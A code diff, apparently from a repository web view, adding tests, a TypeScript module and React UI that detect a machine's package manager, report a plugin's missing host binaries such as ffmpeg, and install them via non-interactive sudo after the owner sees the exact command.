|
||||||
|
});
|
||||||
|
|
||||||
|
test('pacman uses --needed, so a package already there is not reinstalled', () => {
|
||||||
|
expect(installCommand('pacman', ['ffmpeg'])).toContain('--needed');
|
||||||
|
});
|
||||||
|
|
||||||
|
// Homebrew refuses to run as root, which is also why machine-setup never escalates on macOS.
|
||||||
|
test('brew never escalates', () => {
|
||||||
|
expect(installCommand('brew', ['ffmpeg'])).toEqual(['brew', 'install', 'ffmpeg']);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('-n on sudo, always — a password prompt under PM2 is a hang, not a slow path', () => {
|
||||||
|
for (const pm of ['apt', 'pacman', 'dnf'] as const) {
|
||||||
|
const argv = installCommand(pm, ['x']);
|
||||||
|
expect(argv.slice(0, 2)).toEqual(['sudo', '-n']);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
|
||||||
|
// argv, not a string. A package name is one element however many spaces it might have contained.
|
||||||
|
test('every package is its own argv element', () => {
|
||||||
|
const argv = installCommand('dnf', ['ffmpeg', 'imagemagick']);
|
||||||
|
expect(argv).toContain('ffmpeg');
|
||||||
|
expect(argv).toContain('imagemagick');
|
||||||
|
expect(argv.some((a) => a.includes(' '))).toBe(false);
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
describe('manualInstallHint', () => {
|
||||||
|
// Shown when the platform cannot escalate. It drops `-n`, because a person at a terminal CAN answer a
|
||||||
|
// password prompt — the flag exists for the unattended case only.
|
||||||
|
test('is runnable by a human: no -n', () => {
|
||||||
|
expect(manualInstallHint('apt', ['ffmpeg'])).toBe(
|
||||||
|
'sudo env DEBIAN_FRONTEND=noninteractive NEEDRESTART_MODE=a apt-get install -y ffmpeg',
|
||||||
|
);
|
||||||
|
});
|
||||||
|
|
||||||
|
test('is null when there is nothing to install or no manager to do it', () => {
|
||||||
|
expect(manualInstallHint('apt', [])).toBeNull();
|
||||||
|
expect(manualInstallHint(null, ['ffmpeg'])).toBeNull();
|
||||||
|
});
|
||||||
|
});
|
||||||
@@ -0,0 +1,219 @@
|
|||||||
|
import { PACKAGE_MANAGERS, type DiscoveredPlugin, type OsDependency, type PackageManager } from './manifest';
|
||||||
|
|
||||||
|
// Host binaries a plugin needs, and getting them onto the machine.
|
||||||
|
//
|
||||||
|
// ── Why this exists ──
|
||||||
|
//
|
||||||
|
// Offscale was self-sufficient, so nothing here was missing until music. Music shells out to `ffmpeg` and
|
||||||
|
// `ffprobe`, and without them its indexer does not fail: it walks the whole library, writes a complete
|
||||||
|
// cache tree, reports success, and produces a library where every track is a bare filename with no cover.
|
||||||
|
// Five swallowed catches, no log, no counter. The only tell is `coversSaved: 0` in a report nobody reads.
|
||||||
|
//
|
||||||
|
// That is the failure shape this codebase keeps finding — a refusal wearing the costume of a normal
|
||||||
|
// result — and it is why the answer is a CHECK rather than a note in a README. The owner is told what is
|
||||||
|
// missing before they install, and an install that cannot satisfy a dependency refuses instead of
|
||||||
|
// producing that library.
|
||||||
|
//
|
||||||
|
// ── The one rule about running as root ──
|
||||||
|
//
|
||||||
|
// Package names from a manifest reach `apt-get install` as root. They are validated by a deliberately
|
||||||
|
// narrow regex in manifest.ts and passed to `Bun.spawn` as an ARGV ARRAY — never a shell string, never
|
||||||
|
// interpolated, never `sh -c`. Both halves are load-bearing: the regex means a metacharacter cannot get
|
||||||
|
// here, and argv means it would be an argument rather than syntax if it did.
|
||||||
|
//
|
||||||
|
// Nothing is installed without the owner asking for it. This module is reached from the plugins API,
|
||||||
|
// which is owner-only in its own right, and the missing packages are shown before the button is pressed.
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Which package manager this machine has.
|
||||||
|
*
|
||||||
|
* Mirrors `detect_os` in `scripts/setup/machine-setup/lib/base.sh`, and deliberately by the same means —
|
||||||
|
* looking for the binary rather than reading `/etc/os-release` — because that is the question actually
|
||||||
|
* being asked. A Fedora derivative with apt bolted on should get apt.
|
||||||
|
*
|
||||||
|
* Order matters on exactly one machine shape: Homebrew on Linux. `brew` last means a Linux box with
|
||||||
|
* Linuxbrew still uses its distribution's manager, which is what somebody running a system service
|
||||||
|
* wants.
|
||||||
|
*/
|
||||||
|
let cachedManager: PackageManager | null | undefined;
|
||||||
|
|
||||||
|
export function detectPackageManager(): PackageManager | null {
|
||||||
|
if (cachedManager !== undefined) return cachedManager;
|
||||||
|
cachedManager = PACKAGE_MANAGERS.find((pm) => !!Bun.which(pm)) ?? null;
|
||||||
|
return cachedManager;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Reset the memoised lookup. Tests only — a real machine does not gain a package manager while running. */
|
||||||
|
export function resetPackageManagerCache(): void {
|
||||||
|
cachedManager = undefined;
|
||||||
|
}
|
||||||
|
|
||||||
|
export type DependencyStatus = {
|
||||||
|
binary: string;
|
||||||
|
reason: string;
|
||||||
|
/** Absolute path when it is on PATH, null when it is not. The whole question, answered per binary. */
|
||||||
|
path: string | null;
|
||||||
|
present: boolean;
|
||||||
|
/** What would be installed on THIS machine, or null when this manager has no entry for it. */
|
||||||
|
packageName: string | null;
|
||||||
|
};
|
||||||
|
|
||||||
|
/** Probe one dependency against the live PATH. */
|
||||||
|
function probe(dep: OsDependency, manager: PackageManager | null): DependencyStatus {
|
||||||
|
const path = Bun.which(dep.binary);
|
||||||
|
return {
|
||||||
|
binary: dep.binary,
|
||||||
|
reason: dep.reason,
|
||||||
|
path,
|
||||||
|
present: !!path,
|
||||||
|
packageName: (manager && dep.packages[manager]) || null,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
export type DependencyReport = {
|
||||||
|
manager: PackageManager | null;
|
||||||
|
dependencies: DependencyStatus[];
|
||||||
|
missing: DependencyStatus[];
|
||||||
|
/** Distinct packages to install — deduped, because one package usually provides several binaries. */
|
||||||
|
packagesToInstall: string[];
|
||||||
|
/**
|
||||||
|
* Missing, and this machine has no way to install them: no package manager, or no entry for the one it
|
||||||
|
* has. These are the owner's to resolve by hand, and the install says so rather than guessing.
|
||||||
|
*/
|
||||||
|
unresolvable: DependencyStatus[];
|
||||||
|
/** Can the platform actually run the install — passwordless sudo, or a manager that never needs it. */
|
||||||
|
canInstall: boolean;
|
||||||
|
/** Why not, when it cannot. Written to be shown to a person. */
|
||||||
|
blockedReason: string | null;
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Whether the platform may install packages without a human at a terminal.
|
||||||
|
*
|
||||||
|
* `sudo -n` is "non-interactive": it succeeds only when a password would not be asked for, and fails
|
||||||
|
* immediately otherwise rather than blocking on a prompt no one can answer. The server runs unattended
|
||||||
|
* under PM2, so a prompt is not a slow path — it is a hang.
|
||||||
|
*
|
||||||
|
* Homebrew is the exception and needs no escalation: it refuses to run as root outright, which is also
|
||||||
|
* why machine-setup never escalates on macOS.
|
||||||
|
*/
|
||||||
|
function sudoAvailable(): boolean {
|
||||||
|
if (!Bun.which('sudo')) return false;
|
||||||
|
try {
|
||||||
|
return Bun.spawnSync(['sudo', '-n', 'true'], { stdout: 'ignore', stderr: 'ignore' }).exitCode === 0;
|
||||||
|
} catch {
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Everything the UI and the installer need to know about one plugin's host dependencies. */
|
||||||
|
export function reportDependencies(plugin: DiscoveredPlugin): DependencyReport {
|
||||||
|
const declared = plugin.manifest.osDependencies ?? [];
|
||||||
|
const manager = detectPackageManager();
|
||||||
|
const dependencies = declared.map((dep) => probe(dep, manager));
|
||||||
|
const missing = dependencies.filter((d) => !d.present);
|
||||||
|
const unresolvable = missing.filter((d) => !d.packageName);
|
||||||
|
|
||||||
|
// Deduped and sorted: ffmpeg and ffprobe are one apt package, and naming it twice on the command line
|
||||||
|
// is the sort of thing that reads as a bug in a log even though apt does not care.
|
||||||
|
const packagesToInstall = [...new Set(missing.map((d) => d.packageName).filter((n): n is string => !!n))].sort();
|
||||||
|
|
||||||
|
let canInstall = true;
|
||||||
|
let blockedReason: string | null = null;
|
||||||
|
|
||||||
|
if (missing.length === 0) {
|
||||||
|
// Nothing to do, so nothing can block it. Said explicitly because the checks below would otherwise
|
||||||
|
// report "no package manager" on a machine that needs nothing — true, and useless.
|
||||||
|
} else if (!manager) {
|
||||||
|
canInstall = false;
|
||||||
|
blockedReason = `No supported package manager found (${PACKAGE_MANAGERS.join(', ')}).`;
|
||||||
|
} else if (unresolvable.length) {
|
||||||
|
canInstall = false;
|
||||||
|
blockedReason =
|
||||||
|
`${unresolvable.map((d) => d.binary).join(', ')} — this plugin declares no ${manager} package for ` +
|
||||||
|
`${unresolvable.length === 1 ? 'it' : 'them'}.`;
|
||||||
|
} else if (manager !== 'brew' && !sudoAvailable()) {
|
||||||
|
canInstall = false;
|
||||||
|
blockedReason =
|
||||||
|
'Officer cannot escalate: passwordless sudo is not configured for the user it runs as. ' +
|
||||||
|
'Install the packages yourself and then install the plugin.';
|
||||||
|
}
|
||||||
|
|
||||||
|
return { manager, dependencies, missing, packagesToInstall, unresolvable, canInstall, blockedReason };
|
||||||
|
}
|
||||||
|
|
||||||
|
/** The command that would be run, as argv. Exported so the UI can SHOW it — the owner should see it. */
|
||||||
|
export function installCommand(manager: PackageManager, packages: string[]): string[] {
|
||||||
|
const escalate = manager === 'brew' ? [] : ['sudo', '-n'];
|
||||||
|
switch (manager) {
|
||||||
|
// Matches lib/packages.sh's `pkg_install_now` exactly, including the environment apt needs to stay
|
||||||
|
// non-interactive. A second spelling of "install a package" that drifted from the setup script's
|
||||||
|
// would be a bug nobody finds until a machine behaves differently from the one it was set up on.
|
||||||
|
case 'apt':
|
||||||
|
return [
|
||||||
|
...escalate,
|
||||||
|
'env',
|
||||||
|
'DEBIAN_FRONTEND=noninteractive',
|
||||||
|
'NEEDRESTART_MODE=a',
|
||||||
|
'apt-get',
|
||||||
|
'install',
|
||||||
|
'-y',
|
||||||
|
...packages,
|
||||||
|
];
|
||||||
|
case 'pacman':
|
||||||
|
return [...escalate, 'pacman', '-S', '--noconfirm', '--needed', ...packages];
|
||||||
|
case 'dnf':
|
||||||
|
return [...escalate, 'dnf', 'install', '-y', ...packages];
|
||||||
|
case 'brew':
|
||||||
|
return ['brew', 'install', ...packages];
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/** What the owner should run by hand when the platform cannot. Display only — never executed. */
|
||||||
|
export function manualInstallHint(manager: PackageManager | null, packages: string[]): string | null {
|
||||||
|
if (!manager || !packages.length) return null;
|
||||||
|
const argv = installCommand(manager, packages).filter((a) => a !== '-n');
|
||||||
|
return argv.join(' ');
|
||||||
|
}
|
||||||
|
|
||||||
|
export type InstallDependenciesResult = { ok: boolean; installed: string[]; output: string; error?: string };
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Install the missing packages.
|
||||||
|
*
|
||||||
|
* Only ever called with `report.packagesToInstall`, so a binary already on PATH is never named on a
|
||||||
|
* command line — `packages.sh`'s rule, and it matters for the same reason: `apt-get install <present>`
|
||||||
|
* is not a no-op, it upgrades. A plugin install must not move a version the owner chose.
|
||||||
|
*/
|
||||||
|
export async function installDependencies(
|
||||||
|
manager: PackageManager,
|
||||||
|
packages: string[],
|
||||||
|
): Promise<InstallDependenciesResult> {
|
||||||
|
if (!packages.length) return { ok: true, installed: [], output: '' };
|
||||||
|
|
||||||
|
try {
|
||||||
|
const proc = Bun.spawn(installCommand(manager, packages), { stdout: 'pipe', stderr: 'pipe' });
|
||||||
|
const [out, err] = await Promise.all([new Response(proc.stdout).text(), new Response(proc.stderr).text()]);
|
||||||
|
const code = await proc.exited;
|
||||||
|
const output = `${out}${err}`.trim().slice(-600);
|
||||||
|
if (code !== 0) return { ok: false, installed: [], output, error: output || `exited ${code}` };
|
||||||
|
return { ok: true, installed: packages, output };
|
||||||
|
} catch (err) {
|
||||||
|
return { ok: false, installed: [], output: '', error: err instanceof Error ? err.message : String(err) };
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Re-probe after installing, so success is observed rather than inferred from an exit code.
|
||||||
|
*
|
||||||
|
* `apt-get` returning 0 having installed a package that does not provide the binary the plugin actually
|
||||||
|
* spawns is precisely the sort of thing this whole module exists to catch, and trusting the exit code
|
||||||
|
* would reproduce it one layer up.
|
||||||
|
*/
|
||||||
|
export function stillMissing(plugin: DiscoveredPlugin): string[] {
|
||||||
|
const manager = detectPackageManager();
|
||||||
|
return (plugin.manifest.osDependencies ?? [])
|
||||||
|
.map((dep) => probe(dep, manager))
|
||||||
|
.filter((d) => !d.present)
|
||||||
|
.map((d) => d.binary);
|
||||||
|
}
|
||||||
@@ -1,5 +1,5 @@
|
|||||||
import { Link, useSearchParams } from 'react-router';
|
import { Link, useSearchParams } from 'react-router';
|
||||||
import { usePlugins, type PluginItem } from './usePlugins';
|
import { usePlugins, type PluginDependencies, type PluginItem } from './usePlugins';
|
||||||
|
|
||||||
// The right panel: one plugin, and the four verbs.
|
// The right panel: one plugin, and the four verbs.
|
||||||
//
|
//
|
||||||
@@ -52,6 +52,61 @@ const Parts = ({ has }: { has: PluginItem['has'] }) => {
|
|||||||
return <>{present.length ? present.join(' · ') : 'manifest only'}</>;
|
return <>{present.length ? present.join(' · ') : 'manifest only'}</>;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Host binaries, per binary, before anything is installed.
|
||||||
|
*
|
||||||
|
* The whole point is that this is visible BEFORE the button. Music needs `ffprobe`, and without it the
|
||||||
|
* indexer does not fail — it writes a library where every track is a bare filename and reports success.
|
||||||
|
* So "what does this need, and does this machine have it" is a question the owner answers first, not
|
||||||
|
* something they find out from a log.
|
||||||
|
*
|
||||||
|
* Rendered only when the plugin declares something. Most declare nothing, and a permanently empty
|
||||||
|
* "Requires: nothing" row is noise on every other plugin's page.
|
||||||
|
*/
|
||||||
|
const Dependencies = ({ deps }: { deps: PluginDependencies }) => {
|
||||||
|
if (!deps.items.length) return null;
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className="mt-4 border-t border-duck-dark/10 pt-4">
|
||||||
|
<p className="text-xs font-medium uppercase tracking-wide text-duck-dark/40">Needs on this machine</p>
|
||||||
|
<ul className="mt-2 space-y-2">
|
||||||
|
{deps.items.map((item) => (
|
||||||
|
<li key={item.binary} className="flex gap-2 text-sm">
|
||||||
|
<span aria-hidden className={item.present ? 'text-emerald-600' : 'text-amber-600'}>
|
||||||
|
{item.present ? '✓' : '•'}
|
||||||
|
</span>
|
||||||
|
<span className="min-w-0">
|
||||||
|
<code className="text-duck-dark">{item.binary}</code>{' '}
|
||||||
|
<span className={item.present ? 'text-duck-dark/50' : 'text-amber-700'}>
|
||||||
|
{item.present ? 'present' : `missing${item.packageName ? ` — ${item.packageName}` : ''}`}
|
||||||
|
</span>
|
||||||
|
<span className="block text-xs text-duck-dark/50">{item.reason}</span>
|
||||||
|
</span>
|
||||||
|
</li>
|
||||||
|
))}
|
||||||
|
</ul>
|
||||||
|
|
||||||
|
{/* Three states, and they need different words. Satisfied says nothing further. Installable says
|
||||||
|
exactly what will be run as root, because that is what is being consented to. Blocked gives the
|
||||||
|
command to run by hand, which is the whole escape hatch on a machine without passwordless sudo. */}
|
||||||
|
{deps.satisfied ? null : deps.canInstall ? (
|
||||||
|
<p className="mt-3 text-xs text-duck-dark/60">
|
||||||
|
Installing this plugin will run{' '}
|
||||||
|
<code className="text-duck-dark">
|
||||||
|
{deps.manager} install {deps.packagesToInstall.join(' ')}
|
||||||
|
</code>{' '}
|
||||||
|
as root first.
|
||||||
|
</p>
|
||||||
|
) : (
|
||||||
|
<div className="mt-3 rounded border border-amber-500/30 bg-amber-500/5 p-2.5">
|
||||||
|
<p className="text-xs text-amber-800">{deps.blockedReason ?? 'These cannot be installed automatically.'}</p>
|
||||||
|
{deps.manualHint ? <code className="mt-1.5 block text-xs text-duck-dark">{deps.manualHint}</code> : null}
|
||||||
|
</div>
|
||||||
|
)}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
};
|
||||||
|
|
||||||
export const PluginDetail = () => {
|
export const PluginDetail = () => {
|
||||||
const { plugins, steps, result, running, run } = usePlugins();
|
const { plugins, steps, result, running, run } = usePlugins();
|
||||||
const [params] = useSearchParams();
|
const [params] = useSearchParams();
|
||||||
@@ -105,6 +160,8 @@ export const PluginDetail = () => {
|
|||||||
</Row>
|
</Row>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
<Dependencies deps={plugin.dependencies} />
|
||||||
|
|
||||||
{/* The way in, when there is one.
|
{/* The way in, when there is one.
|
||||||
Only while installed AND enabled: a link to a route that is not mounted is a link to the home
|
Only while installed AND enabled: a link to a route that is not mounted is a link to the home
|
||||||
page, since the shell redirects an unknown path — which reads as the link being broken rather
|
page, since the shell redirects an unknown path — which reads as the link being broken rather
|
||||||
@@ -122,7 +179,14 @@ export const PluginDetail = () => {
|
|||||||
|
|
||||||
<div className="mt-6 flex flex-wrap gap-2">
|
<div className="mt-6 flex flex-wrap gap-2">
|
||||||
{!plugin.installed ? (
|
{!plugin.installed ? (
|
||||||
<Button tone="primary" disabled={busy} onClick={() => run('install', plugin.appName)}>
|
// Disabled when the host binaries cannot be satisfied, because the installer refuses in that
|
||||||
|
// case — offering a button whose only outcome is an error message is worse than not offering
|
||||||
|
// it. The reason is already on screen above, so the disabled state is not mysterious.
|
||||||
|
<Button
|
||||||
|
tone="primary"
|
||||||
|
disabled={busy || (!plugin.dependencies.satisfied && !plugin.dependencies.canInstall)}
|
||||||
|
onClick={() => run('install', plugin.appName)}
|
||||||
|
>
|
||||||
Install
|
Install
|
||||||
</Button>
|
</Button>
|
||||||
) : (
|
) : (
|
||||||
|
|||||||
@@ -9,6 +9,37 @@ import { useClient, getHeaders } from 'hooks/useClient';
|
|||||||
|
|
||||||
export type PluginPermission = { key: string; label: string; description: string; ownerOnly?: boolean };
|
export type PluginPermission = { key: string; label: string; description: string; ownerOnly?: boolean };
|
||||||
|
|
||||||
|
/** One host binary the plugin shells out to, probed against this machine's PATH on every read. */
|
||||||
|
export type DependencyItem = {
|
||||||
|
binary: string;
|
||||||
|
reason: string;
|
||||||
|
path: string | null;
|
||||||
|
present: boolean;
|
||||||
|
/** What would be installed here, or null when this machine's package manager has no entry for it. */
|
||||||
|
packageName: string | null;
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Host binaries, answered for THIS machine.
|
||||||
|
*
|
||||||
|
* Shown before the Install button rather than only in the log afterwards, because the owner is deciding
|
||||||
|
* whether to let the server run a package manager as root — and that decision needs the answer first.
|
||||||
|
* Installing the packages by hand and watching this flip to satisfied is the escape hatch on a machine
|
||||||
|
* with no passwordless sudo.
|
||||||
|
*/
|
||||||
|
export type PluginDependencies = {
|
||||||
|
/** apt | pacman | dnf | brew, or null when none was found. */
|
||||||
|
manager: string | null;
|
||||||
|
items: DependencyItem[];
|
||||||
|
satisfied: boolean;
|
||||||
|
canInstall: boolean;
|
||||||
|
/** Why the platform cannot install them. Written to be read by a person. */
|
||||||
|
blockedReason: string | null;
|
||||||
|
packagesToInstall: string[];
|
||||||
|
/** The command to run by hand. Display only — the server never executes this string. */
|
||||||
|
manualHint: string | null;
|
||||||
|
};
|
||||||
|
|
||||||
export type PluginItem = {
|
export type PluginItem = {
|
||||||
appName: string;
|
appName: string;
|
||||||
/** Where its routes live. `/offscale` for ours, `/p/<publisher>/<name>` for everyone else. */
|
/** Where its routes live. `/offscale` for ours, `/p/<publisher>/<name>` for everyone else. */
|
||||||
@@ -34,6 +65,8 @@ export type PluginItem = {
|
|||||||
* plugin that is off and one that is broken.
|
* plugin that is off and one that is broken.
|
||||||
*/
|
*/
|
||||||
processStatus: string | null;
|
processStatus: string | null;
|
||||||
|
/** Host binaries and whether this machine has them. Always present; `items` is empty for most plugins. */
|
||||||
|
dependencies: PluginDependencies;
|
||||||
};
|
};
|
||||||
|
|
||||||
/** What a verb actually did, in order. Shown rather than collapsed to a spinner. */
|
/** What a verb actually did, in order. Shown rather than collapsed to a spinner. */
|
||||||
|
|||||||
Reference in New Issue
Block a user